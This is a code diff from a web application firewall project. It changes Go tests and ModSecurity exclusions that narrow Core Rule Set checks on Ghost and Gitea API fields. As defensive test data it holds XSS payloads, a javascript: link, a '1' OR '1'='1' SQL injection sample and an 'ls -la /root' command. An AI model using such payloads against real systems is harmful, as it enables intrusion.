{http.MethodPost, ghostSetup, `{"setup":[{"email":"VALUE"}]}`},
|
||||
{http.MethodPost, ghostInvites, `{"invites":[{"email":"VALUE"}]}`},
|
||||
{http.MethodPost, ghostInvitation, `{"invitation":[{"email":"VALUE"}]}`},
|
||||
{
|
||||
http.MethodPost,
|
||||
ghostPasswordReset,
|
||||
@@ -261,41 +143,14 @@ var ghostAddressFields = []ghostField{
|
||||
{http.MethodPut, ghostUser, `{"users":[{"email":"VALUE"}]}`},
|
||||
}
|
||||
|
||||
// ghostHandleFields hold an account's handle in ActivityPub, which the admin
|
||||
// sends as an @ followed by an address, with no spaces. They skip 930120 and
|
||||
// 932120.
|
||||
// ghostCanonicalURLFields hold the canonical URL of a post or a page, and skip
|
||||
// 930120 and 932120, as url does.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var ghostHandleFields = []ghostField{
|
||||
{http.MethodPost, ghostAliases, `{"sourceHandle":"@VALUE"}`},
|
||||
{http.MethodPost, ghostMigration, `{"targetHandle":"@VALUE"}`},
|
||||
}
|
||||
|
||||
// ghostDomainFields hold the domain of the site's handle in ActivityPub and
|
||||
// skip 930120, 932120 and 932260.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var ghostDomainFields = []ghostField{
|
||||
{http.MethodPut, ghostDomain, `{"domain":"VALUE"}`},
|
||||
{http.MethodPost, ghostDomain + "/validate", `{"domain":"VALUE"}`},
|
||||
}
|
||||
|
||||
// ghostURLFields hold the canonical URL of a post, a page or a tag, or the
|
||||
// address of an account removed from those that move here in ActivityPub.
|
||||
// They skip 930120 and 932120, as url does.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var ghostURLFields = []ghostField{
|
||||
var ghostCanonicalURLFields = []ghostField{
|
||||
{http.MethodPut, ghostPost, `{"posts":[{"canonical_url":"VALUE"}]}`},
|
||||
{http.MethodPost, ghostPosts, `{"posts":[{"canonical_url":"VALUE"}]}`},
|
||||
{http.MethodPut, ghostPage, `{"pages":[{"canonical_url":"VALUE"}]}`},
|
||||
{http.MethodPost, ghostTags, `{"tags":[{"canonical_url":"VALUE"}]}`},
|
||||
{
|
||||
http.MethodPut,
|
||||
ghostTags + "6af45d4ed281b00001a599a8/",
|
||||
`{"tags":[{"canonical_url":"VALUE"}]}`,
|
||||
},
|
||||
{http.MethodDelete, ghostAliases, `{"actorUri":"VALUE"}`},
|
||||
}
|
||||
|
||||
// ghostPostFields hold a post or a page, skip the rules of 900355, and take a
|
||||
@@ -338,8 +193,8 @@ var ghostArticleFields = slices.Concat(
|
||||
ghostSnippetAndNewsletterFooterFields,
|
||||
)
|
||||
|
||||
// ghostCodeFields hold code injection or a setting, skip the rules of 900356
|
||||
// and 900378, and take a <script> element by 900366 and 900378.
|
||||
// ghostCodeFields hold code injection or a setting, skip the rules of 900356,
|
||||
// and take a <script> element by 900366.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var ghostCodeFields = []ghostField{
|
||||
@@ -358,16 +213,6 @@ var ghostCodeFields = []ghostField{
|
||||
`{"settings":[{"key":"title","value":"Blog"},` +
|
||||
`{"key":"codeinjection_head","value":"VALUE"}]}`,
|
||||
},
|
||||
{
|
||||
http.MethodPost,
|
||||
ghostTags,
|
||||
`{"tags":[{"codeinjection_head":"VALUE"}]}`,
|
||||
},
|
||||
{
|
||||
http.MethodPut,
|
||||
ghostTags + "6af45d4ed281b00001a599a8/",
|
||||
`{"tags":[{"codeinjection_foot":"VALUE"}]}`,
|
||||
},
|
||||
}
|
||||
|
||||
// The query fields that skip some rules, each ending in "=".
|
||||
@@ -376,42 +221,17 @@ const (
|
||||
ghostContentFilter = "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter="
|
||||
ghostSearch = ghostMembers + "?limit=100&search="
|
||||
ghostEmbed = "/ghost/api/admin/oembed/?type=bookmark&url="
|
||||
ghostStats = "/ghost/api/admin/stats/top-content/?date_from=2026-10-13"
|
||||
ghostPathname = ghostStats + "&pathname="
|
||||
ghostSource = ghostStats + "&source="
|
||||
ghostCampaign = ghostStats + "&utm_campaign="
|
||||
ghostSegment = ghostPost + "?newsletter=default-newsletter&email_segment="
|
||||
ghostAccountSearch = "/.ghost/activitypub/v1/actions/search?query="
|
||||
ghostInvitedEmail = ghostInvitation + "?email="
|
||||
)
|
||||
|
||||
// ghostAnalyticsFilters are source and the utm_ fields, which filter the
|
||||
// analytics, each ending in "=".
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var ghostAnalyticsFilters = []string{
|
||||
ghostSource,
|
||||
ghostStats + "&utm_source=",
|
||||
ghostStats + "&utm_medium=",
|
||||
ghostCampaign,
|
||||
ghostStats + "&utm_content=",
|
||||
ghostStats + "&utm_term=",
|
||||
}
|
||||
|
||||
// ghostQueryFields are the query fields that skip some rules.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var ghostQueryFields = []string{
|
||||
ghostAdminFilter, ghostContentFilter, ghostSearch, ghostEmbed,
|
||||
ghostPathname, ghostSource, ghostCampaign, ghostSegment,
|
||||
ghostAccountSearch, ghostInvitedEmail,
|
||||
}
|
||||
|
||||
// ghostCommandNames joins two command names, as an ordinary title can.
|
||||
const ghostCommandNames = "powershell & python3"
|
||||
|
||||
// ghostURLs are addresses 930120 and 932120 refused in url and in
|
||||
// ghostURLFields.
|
||||
// ghostURLs are addresses 930120 and 932120 refused in url and in a canonical
|
||||
// URL.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var ghostURLs = []string{
|
||||
@@ -431,15 +251,6 @@ var ghostAddresses = []string{
|
||||
"dave.powershell@example.com",
|
||||
}
|
||||
|
||||
// ghostDomains are domains 930120, 932120 and 932260 refused.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var ghostDomains = []string{
|
||||
"erin.htaccess.example.com",
|
||||
"python3.example.com",
|
||||
"powershell.example.com",
|
||||
}
|
||||
|
||||
// ghostArticle is an ordinary article with a code block, an HTML card and an
|
||||
// embed, which each of the rules of 900355 refused.
|
||||
const ghostArticle = `<h2>Tidy .htaccess with python3</h2>` +
|
||||
@@ -530,23 +341,17 @@ func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
|
||||
for _, address := range ghostURLs {
|
||||
wantGhostQuery(t, ghostEmbed+url.QueryEscape(address), false)
|
||||
|
||||
for _, f := range ghostURLFields {
|
||||
for _, f := range ghostCanonicalURLFields {
|
||||
wantGhostField(t, f, address, false)
|
||||
}
|
||||
}
|
||||
|
||||
for _, address := range ghostAddresses {
|
||||
for _, f := range slices.Concat(ghostAddressFields, ghostHandleFields) {
|
||||
for _, f := range ghostAddressFields {
|
||||
wantGhostField(t, f, address, false)
|
||||
}
|
||||
}
|
||||
|
||||
for _, domain := range ghostDomains {
|
||||
for _, f := range ghostDomainFields {
|
||||
wantGhostField(t, f, domain, false)
|
||||
}
|
||||
}
|
||||
|
||||
for _, f := range ghostArticleFields {
|
||||
wantGhostField(t, f, ghostArticle, false)
|
||||
}
|
||||
@@ -555,14 +360,6 @@ func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
|
||||
wantGhostField(t, f, ghostCodeInjection, false)
|
||||
}
|
||||
|
||||
wantGhostField(t, ghostNewComment, ghostComment, false)
|
||||
wantGhostField(
|
||||
t,
|
||||
ghostField{http.MethodPost, ghostNote, ghostNoteImage},
|
||||
"A terminal running ls -la on .htaccess with python3",
|
||||
false,
|
||||
)
|
||||
|
||||
wantGhostQuery(t, "/ghost/api/admin/posts/?filter="+
|
||||
url.QueryEscape(
|
||||
"tag:powershell+status:[draft,scheduled,published,sent]",
|
||||
@@ -596,8 +393,7 @@ func TestGhostScriptsPassInPostsAndCodeInjection(t *testing.T) {
|
||||
wantGhostField(t, f, ghostWidget, false)
|
||||
}
|
||||
|
||||
// Site code injection, saved in settings, and a post's, a page's or a
|
||||
// tag's own.
|
||||
// Site code injection, saved in settings, and a post's or a page's own.
|
||||
for _, f := range ghostCodeFields {
|
||||
wantGhostField(t, f, ghostAnalytics, false)
|
||||
}
|
||||
@@ -616,8 +412,7 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
||||
|
||||
for _, attack := range ghostAttacks {
|
||||
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
|
||||
ghostHandleFields, ghostDomainFields, ghostURLFields,
|
||||
ghostArticleFields, ghostCodeFields) {
|
||||
ghostCanonicalURLFields, ghostArticleFields, ghostCodeFields) {
|
||||
wantGhostField(t, f, attack, true)
|
||||
}
|
||||
|
||||
@@ -629,8 +424,7 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
||||
// A script injection stays refused in every field that does not take a
|
||||
// <script> element.
|
||||
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
|
||||
ghostHandleFields, ghostDomainFields, ghostURLFields,
|
||||
ghostSnippetAndNewsletterFooterFields) {
|
||||
ghostCanonicalURLFields, ghostSnippetAndNewsletterFooterFields) {
|
||||
wantGhostField(t, f, scriptTag, true)
|
||||
}
|
||||
|
||||
@@ -638,19 +432,15 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
||||
wantGhostQuery(t, target+url.QueryEscape(scriptTag), true)
|
||||
}
|
||||
|
||||
// A command after a separator stays refused wherever 932235 does not
|
||||
// misfire: in the addresses, handles, the domain, ghostURLFields, search,
|
||||
// url, pathname, email_segment and email. The other fields skip 932235,
|
||||
// which refuses "powershell & python3" as it refuses this.
|
||||
for _, f := range slices.Concat(ghostAddressFields, ghostHandleFields,
|
||||
ghostDomainFields, ghostURLFields) {
|
||||
// A command after a separator stays refused wherever its rules do not
|
||||
// misfire: in the query fields, the plain text, the addresses and the
|
||||
// canonical URLs.
|
||||
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
|
||||
ghostCanonicalURLFields) {
|
||||
wantGhostField(t, f, commandAfterASeparator, true)
|
||||
}
|
||||
|
||||
for _, target := range []string{
|
||||
ghostSearch, ghostEmbed, ghostPathname, ghostSegment,
|
||||
ghostInvitedEmail,
|
||||
} {
|
||||
for _, target := range ghostQueryFields {
|
||||
wantGhostQuery(
|
||||
t,
|
||||
target+url.QueryEscape(commandAfterASeparator),
|
||||
@@ -658,15 +448,6 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
||||
)
|
||||
}
|
||||
|
||||
// A comment keeps the rules for scripts and HTML.
|
||||
wantGhostField(t, ghostNewComment, `<img src=x onerror=alert(1)>`, true)
|
||||
wantGhostField(
|
||||
t,
|
||||
ghostNewComment,
|
||||
`<a href="javascript:alert(1)">x</a>`,
|
||||
true,
|
||||
)
|
||||
|
||||
// The articles and code injection carry HTML on purpose, but a
|
||||
// javascript: link is still refused there, and a script element in
|
||||
// snippets and a newsletter's footer.
|
||||
@@ -678,138 +459,12 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
||||
wantGhostField(t, f, `<p>Hi</p><script src="/x.js"></script>`, true)
|
||||
}
|
||||
|
||||
// An address and the domain keep 932250, which refuses a listing of
|
||||
// files. A handle keeps it too, but its @ comes before any command.
|
||||
for _, f := range slices.Concat(ghostAddressFields, ghostDomainFields) {
|
||||
// An address keeps 932250, which refuses a listing of files.
|
||||
for _, f := range ghostAddressFields {
|
||||
wantGhostField(t, f, "ls -la /root", true)
|
||||
}
|
||||
}
|
||||
|
||||
func TestGhostTwoCommandNamesPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// The site's title, saved through settings.
|
||||
siteTitle := ghostField{
|
||||
http.MethodPut,
|
||||
ghostSettings,
|
||||
`{"settings":[{"key":"title","value":"VALUE"}]}`,
|
||||
}
|
||||
wantGhostField(t, siteTitle, ghostCommandNames, false)
|
||||
|
||||
// Values that join two command names, as a person types them.
|
||||
for _, typed := range []string{
|
||||
ghostCommandNames, "python3 & powershell", "powershell & ls -la",
|
||||
"ls -la & python3",
|
||||
} {
|
||||
for _, f := range slices.Concat(ghostTextFields, ghostCodeFields) {
|
||||
wantGhostField(t, f, typed, false)
|
||||
}
|
||||
|
||||
wantGhostImportLabel(t, ghostImport, typed, false)
|
||||
|
||||
for _, target := range slices.Concat(
|
||||
ghostAnalyticsFilters,
|
||||
[]string{ghostAccountSearch},
|
||||
) {
|
||||
wantGhostQuery(t, target+url.QueryEscape(typed), false)
|
||||
}
|
||||
|
||||
// filter as the admin's post picker writes it, after a person types
|
||||
// such a title.
|
||||
filter := "status:published+title:~'" + typed + "'"
|
||||
wantGhostQuery(t, ghostAdminFilter+url.QueryEscape(filter), false)
|
||||
}
|
||||
}
|
||||
|
||||
// TestGhostOrdinaryQueriesPass checks the query fields of the analytics
|
||||
// pages, email_segment, the search of ActivityPub and the check of an
|
||||
// invitation.
|
||||
func TestGhostOrdinaryQueriesPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, encoded := range hardValues {
|
||||
value, _ := url.QueryUnescape(encoded)
|
||||
text := url.QueryEscape("Notes on " + value + " & tidy files")
|
||||
|
||||
for _, target := range ghostAnalyticsFilters {
|
||||
wantGhostQuery(t, target+encoded, false)
|
||||
}
|
||||
|
||||
wantGhostQuery(t, ghostCampaign+text, false)
|
||||
wantGhostQuery(t, ghostAccountSearch+text, false)
|
||||
}
|
||||
|
||||
// pathname, the page the analytics show: a post and two tag pages.
|
||||
for _, path := range []string{
|
||||
"/tag/proc/", "/python3-and-powershell/", "/tag/python3/",
|
||||
} {
|
||||
wantGhostQuery(t, ghostPathname+url.QueryEscape(path), false)
|
||||
}
|
||||
|
||||
wantGhostQuery(
|
||||
t,
|
||||
ghostCampaign+url.QueryEscape(ghostCommandNames),
|
||||
false,
|
||||
)
|
||||
wantGhostQuery(
|
||||
t,
|
||||
ghostAccountSearch+"%40powershell%40example.com",
|
||||
false,
|
||||
)
|
||||
|
||||
for _, segment := range []string{
|
||||
"label:powershell-users", "label:python3", "label:ls-la",
|
||||
"label:htaccess", "status:free,tier:powershell-club",
|
||||
} {
|
||||
wantGhostQuery(t, ghostSegment+url.QueryEscape(segment), false)
|
||||
}
|
||||
|
||||
for _, address := range ghostAddresses {
|
||||
wantGhostQuery(t, ghostInvitedEmail+url.QueryEscape(address), false)
|
||||
}
|
||||
}
|
||||
|
||||
// wantGhostImportLabel checks that the Core Rule Set, reading bodies,
|
||||
// refuses label, sent as labels in a CSV import to target, or lets it
|
||||
// through.
|
||||
func wantGhostImportLabel(
|
||||
t *testing.T, target, label string, refused bool,
|
||||
) {
|
||||
t.Helper()
|
||||
|
||||
r := request{http.MethodPost, target, []string{multipart}}
|
||||
body := field("labels", label) + field("mapping[email]", "email") + end
|
||||
|
||||
got, _ := inspectBody(t, readingBodies(t), r, body)
|
||||
if refused && got.Score < ghostThreshold {
|
||||
t.Errorf("labels=%q at %s let through: %+v", label, target, got)
|
||||
}
|
||||
|
||||
if !refused && got.Score >= ghostThreshold {
|
||||
t.Errorf("labels=%q at %s refused: %+v", label, target, got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestGhostImportLabelsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, encoded := range hardValues {
|
||||
value, _ := url.QueryUnescape(encoded)
|
||||
wantGhostImportLabel(t, ghostImport, value+" import", false)
|
||||
}
|
||||
|
||||
wantGhostImportLabel(t, ghostImport, ghostCommandNames, false)
|
||||
|
||||
for _, attack := range ghostAttacks {
|
||||
wantGhostImportLabel(t, ghostImport, attack, true)
|
||||
}
|
||||
|
||||
// labels keeps its rules on other paths, and when the query has a field
|
||||
// of the same name.
|
||||
wantGhostImportLabel(t, ghostMembers, "python3 import", true)
|
||||
wantGhostImportLabel(t, ghostImport+"?labels=x", "python3 import", true)
|
||||
}
|
||||
|
||||
func TestGhostExclusionsAreNarrow(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
@@ -847,6 +502,7 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
|
||||
`{"settings":[{"value":"<meta name=x content=y>"}]}`,
|
||||
},
|
||||
{"/ghost/api/admin/members/", `{"members":[{"geolocation":"python3"}]}`},
|
||||
{"/ghost/api/admin/invites/", `{"invites":[{"email":"python3.dev@example.com"}]}`},
|
||||
{ghostPosts, email},
|
||||
{ghostMembers, email},
|
||||
{ghostMember, `{"members":[{"email":"python3.dev@example.com"}]}`},
|
||||
@@ -904,7 +560,6 @@ func TestGhostScriptExclusionIsNarrow(t *testing.T) {
|
||||
script = `<script defer src=\"/script.js\"></script>`
|
||||
scriptInPost = `{"posts":[{"lexical":"` + script + `"}]}`
|
||||
scriptInSettings = `{"settings":[{"value":"` + script + `"}]}`
|
||||
scriptInTag = `{"tags":[{"codeinjection_head":"` + script + `"}]}`
|
||||
)
|
||||
|
||||
for _, refused := range []struct{ target, body string }{
|
||||
@@ -914,8 +569,6 @@ func TestGhostScriptExclusionIsNarrow(t *testing.T) {
|
||||
{"/ghost/api/admin/users/me/", `{"users":[{"bio":"` + script + `"}]}`},
|
||||
{"/api/settings/", scriptInSettings},
|
||||
{ghostSettings + "?json.settings.0.value=x", scriptInSettings},
|
||||
{ghostPosts, scriptInTag},
|
||||
{ghostTags + "?json.tags.0.codeinjection_head=x", scriptInTag},
|
||||
} {
|
||||
r := request{http.MethodPut, refused.target, []string{jsonBody}}
|
||||
|
||||
@@ -937,8 +590,7 @@ func TestGhostQueryExclusionsAreNarrow(t *testing.T) {
|
||||
|
||||
// The query fields keep their rules off Ghost's paths, and in other
|
||||
// query fields there. search skips its rules only on the Admin API, and
|
||||
// url only on the editor's lookup of embeds. pathname, email_segment,
|
||||
// query and email skip theirs only on their own paths.
|
||||
// url only on the editor's lookup of embeds.
|
||||
for _, target := range []string{
|
||||
"/api/posts/?filter=powershell",
|
||||
"/ghost/posts/?filter=powershell",
|
||||
@@ -947,79 +599,11 @@ func TestGhostQueryExclusionsAreNarrow(t *testing.T) {
|
||||
"/members/api/member/?search=python3",
|
||||
"/ghost/api/admin/posts/?url=powershell",
|
||||
"/oembed/?url=powershell",
|
||||
"/ghost/api/admin/posts/?pathname=%2Fpowershell%2F",
|
||||
"/ghost/api/admin/stats/top-content/?order=powershell",
|
||||
"/ghost/api/admin/pages/?email_segment=label%3Apowershell-users",
|
||||
"/ghost/api/admin/posts/?query=python3",
|
||||
"/.ghost/activitypub/v1/actions/note?query=python3",
|
||||
"/ghost/api/admin/invites/?email=python3.dev%40example.com",
|
||||
} {
|
||||
wantGhostQuery(t, target, true)
|
||||
}
|
||||
}
|
||||
|
||||
// TestGhostStaffCommentAndActivityPubExclusionsAreNarrow checks the body
|
||||
// fields that 900370 to 900382 name, as TestGhostExclusionsAreNarrow checks
|
||||
// the others: each keeps its rules on another path, and when the query has
|
||||
// a field of the same name.
|
||||
func TestGhostStaffCommentAndActivityPubExclusionsAreNarrow(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const (
|
||||
bio = `{"users":[{"bio":"python3"}]}`
|
||||
comment = `{"comments":[{"html":"<p>Notes on .htaccess</p>"}]}`
|
||||
content = `{"content":"python3"}`
|
||||
altText = `{"image":{"altText":"python3"}}`
|
||||
accountBio = `{"bio":"python3"}`
|
||||
invited = `{"invites":[{"email":"python3.dev@example.com"}]}`
|
||||
accepted = `{"invitation":[{"email":"python3.dev@example.com"}]}`
|
||||
sourceHandle = `{"sourceHandle":"@powershell@example.com"}`
|
||||
actorURI = `{"actorUri":"https://example.com/users/powershell"}`
|
||||
targetHandle = `{"targetHandle":"@powershell@example.com"}`
|
||||
domain = `{"domain":"python3.example.com"}`
|
||||
tagCode = `{"tags":[{"codeinjection_head":"<meta name=x content=y>"}]}`
|
||||
tagURL = `{"tags":[{"canonical_url":"https://example.com/tag/powershell/"}]}`
|
||||
)
|
||||
|
||||
for _, refused := range []struct{ target, body string }{
|
||||
{"/api/users/1/", bio},
|
||||
{ghostMember, bio},
|
||||
{ghostUser + "?json.users.0.bio=x", bio},
|
||||
{ghostPosts, comment},
|
||||
{ghostComments + "?json.comments.0.html=x", comment},
|
||||
{ghostAccount, content},
|
||||
{ghostNote + "?json.content=x", content},
|
||||
{ghostAccount, altText},
|
||||
{ghostNote + "?json.image.altText=x", altText},
|
||||
{ghostNote, accountBio},
|
||||
{ghostAccount + "?json.bio=x", accountBio},
|
||||
{ghostPosts, invited},
|
||||
{ghostInvites + "?json.invites.0.email=x", invited},
|
||||
{ghostInvites, accepted},
|
||||
{ghostInvitation + "?json.invitation.0.email=x", accepted},
|
||||
{ghostMigration, sourceHandle},
|
||||
{ghostAliases + "?json.sourceHandle=x", sourceHandle},
|
||||
{ghostMigration, actorURI},
|
||||
{ghostAliases + "?json.actorUri=x", actorURI},
|
||||
{ghostAliases, targetHandle},
|
||||
{ghostMigration + "?json.targetHandle=x", targetHandle},
|
||||
{ghostAccount, domain},
|
||||
{ghostDomain + "?json.domain=x", domain},
|
||||
{ghostPosts, tagCode},
|
||||
{ghostTags + "?json.tags.0.codeinjection_head=x", tagCode},
|
||||
{ghostPosts, tagURL},
|
||||
{ghostTags + "?json.tags.0.canonical_url=x", tagURL},
|
||||
} {
|
||||
r := request{http.MethodPut, refused.target, []string{jsonBody}}
|
||||
|
||||
got, _ := inspectBody(t, readingBodies(t), r, refused.body)
|
||||
if got.Score < ghostThreshold {
|
||||
t.Errorf("PUT %s %s let through: %+v", refused.target,
|
||||
refused.body, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestGhostPasswordsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
|
||||
@@ -172,13 +172,11 @@ SecRule REQUEST_FILENAME "@rx ^/(?:explore/repos|user/search_candidates|\
|
||||
|
||||
# A branch, tag or package name can hold a slash, as feat/docker-support and
|
||||
# npm's @scope/name do. So q on a repository's branches, tags and packages
|
||||
# pages, on an owner's packages page, on the admin page of packages, on the
|
||||
# API's search of packages and on the Composer and Conan registries' searches
|
||||
# also skips this rule:
|
||||
# pages, on an owner's packages page and on the admin page of packages also
|
||||
# skips this rule:
|
||||
# 932160: /bin/sh
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+/[^/]+/(?:branches|tags|packages)|\
|
||||
admin/packages|api/v1/packages/[^/]+|\
|
||||
api/packages/[^/]+/(?:composer/search\.json|conan/v[12]/conans/search))$" \
|
||||
admin/packages)$" \
|
||||
"id:900605,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932160;ARGS:q"
|
||||
|
||||
# gitea's other searches send a name or a few words in q too, which skips only
|
||||
@@ -190,11 +188,7 @@ SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+/[^/]+/(?:branches|tags|packages)|\
|
||||
# The searches:
|
||||
# - the dashboard's filter of repositories;
|
||||
# - the author filter of the issue and pull request lists;
|
||||
# - the lists of users and organisations;
|
||||
# - the API's searches of users, of topics, of an organisation's teams and of
|
||||
# emails;
|
||||
# - the searches of the Cargo, Chef, Composer and Conan registries, and the
|
||||
# NuGet registry's search service;
|
||||
# - the lists of users and organisations, and the API's search for users;
|
||||
# - the list of repositories a user watches;
|
||||
# - an organisation's milestones of one team, and its search for teams;
|
||||
# - the milestones of a repository or an organisation, and the projects of a
|
||||
@@ -211,11 +205,7 @@ SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+/[^/]+/(?:branches|tags|packages)|\
|
||||
# versions holds the package's name, which can hold a slash, as npm's
|
||||
# @scope/name does.
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:repo/search|notifications/watching|\
|
||||
explore/(?:users|organizations)|\
|
||||
api/v1/(?:users/search|topics/search|orgs/[^/]+/teams/search|\
|
||||
admin/emails/search)|\
|
||||
api/packages/[^/]+/(?:cargo/api/v1/crates|chef/api/v1/(?:search|cookbooks)|\
|
||||
composer/search\.json|conan/v[12]/conans/search|nuget/query)|\
|
||||
explore/(?:users|organizations)|api/v1/users/search|\
|
||||
org/[^/]+/(?:milestones/[^/]+|teams/-/search)|\
|
||||
[^/]+/-/packages/[^/]+/.+/versions|\
|
||||
[^/]+/[^/]+/(?:(?:issues|pulls)/posters|issues/suggestions|milestones|\
|
||||
@@ -229,79 +219,6 @@ SecRule REQUEST_FILENAME "@rx ^/(?:repo/search|notifications/watching|\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
||||
|
||||
# Two of the API's searches send their words in a field other than q, which
|
||||
# skips these rules there:
|
||||
# 930120: .htaccess
|
||||
# 932120: powershell
|
||||
# 932250: ls -la
|
||||
# 932260: python3, alice/python3-app
|
||||
# The search of unadopted repositories sends an owner and a name, such as
|
||||
# alice/python3-app, in query.
|
||||
SecRule REQUEST_FILENAME "@rx ^/api/v1/admin/unadopted$" \
|
||||
"id:900607,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:query,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:query,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:query,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:query"
|
||||
|
||||
# The search of a repository's milestones sends a milestone's name in name.
|
||||
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/milestones$" \
|
||||
"id:900608,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:name,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:name,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:name,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:name"
|
||||
|
||||
# The npm registry's search sends its words in text, which skips these rules
|
||||
# there:
|
||||
# 930120: .htaccess
|
||||
# 932120: powershell
|
||||
# 932160: /bin/sh, as an npm name such as @alice/tools-cli holds a slash
|
||||
# 932250: ls -la
|
||||
# 932260: python3
|
||||
SecRule REQUEST_FILENAME "@rx ^/api/packages/[^/]+/npm/-/v1/search$" \
|
||||
"id:900609,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:text,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:text,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:text,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:text,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:text"
|
||||
|
||||
# A Conan search takes a pattern such as zlib/*, which the rule for SQL
|
||||
# injection (942100) refused in q. q skips that rule when the query string has
|
||||
# one q, made only of the characters of a Conan name and *: letters, digits,
|
||||
# _, ., +, -, /, @ and *. Such a q holds no quote, space or bracket, so SQL
|
||||
# injection such as 1' OR '1'='1 stays refused.
|
||||
SecRule REQUEST_FILENAME "@rx ^/api/packages/[^/]+/conan/v[12]/conans/search$" \
|
||||
"id:900611,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:q "@eq 1" "chain"
|
||||
SecRule ARGS_GET:q "@rx ^[\w.+*/@-]+$" \
|
||||
"ctl:ruleRemoveTargetById=942100;ARGS:q"
|
||||
|
||||
# The NuGet registry's older searches, Search() and Packages(), send their words
|
||||
# in searchTerm, or in $filter as an expression such as
|
||||
# tolower(Id) eq 'python3'. searchTerm skips these rules:
|
||||
# 930120: .htaccess
|
||||
# 932120: powershell
|
||||
# 932250: ls -la
|
||||
# 932260: python3
|
||||
# $filter skips these:
|
||||
# 930120: .htaccess
|
||||
# 932120: powershell
|
||||
# The names $filter, $orderby and $top skip the rule for MongoDB operators
|
||||
# (942290), which refused every such search.
|
||||
SecRule REQUEST_FILENAME "@rx ^/api/packages/[^/]+/nuget/(?:Search|Packages)\(\)$" \
|
||||
"id:900612,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:searchTerm,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:searchTerm,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:searchTerm,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:searchTerm,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:$filter,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:$filter,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS_NAMES:$filter,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS_NAMES:$orderby,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS_NAMES:$top"
|
||||
|
||||
# The repositories on a user's or an organisation's page are searched with q
|
||||
# too. Their path has one segment, so q skips these rules on every path of one
|
||||
# segment, other apps' pages such as /index.php included:
|
||||
@@ -477,7 +394,7 @@ SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/lastcommit/" \
|
||||
"id:900633,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:refSubUrl"
|
||||
|
||||
# The requests below name a file or a branch in a body field, which is read only
|
||||
# while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set. Each field skips the rules that
|
||||
# while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set. Each field skips the rules that
|
||||
# refused it.
|
||||
# Each field below that names a branch skips these rules:
|
||||
# 932120: fix-powershell-module
|
||||
|
||||
@@ -3,7 +3,6 @@ package coreruleset_test
|
||||
import (
|
||||
"net/http"
|
||||
"slices"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||
@@ -86,7 +85,7 @@ func TestGiteaAdminFormsLetHardValuesThroughInTheBody(t *testing.T) {
|
||||
func TestGiteaFormsThatAdoptARepositoryLetItsNameThrough(t *testing.T) {
|
||||
t.Parallel()
|
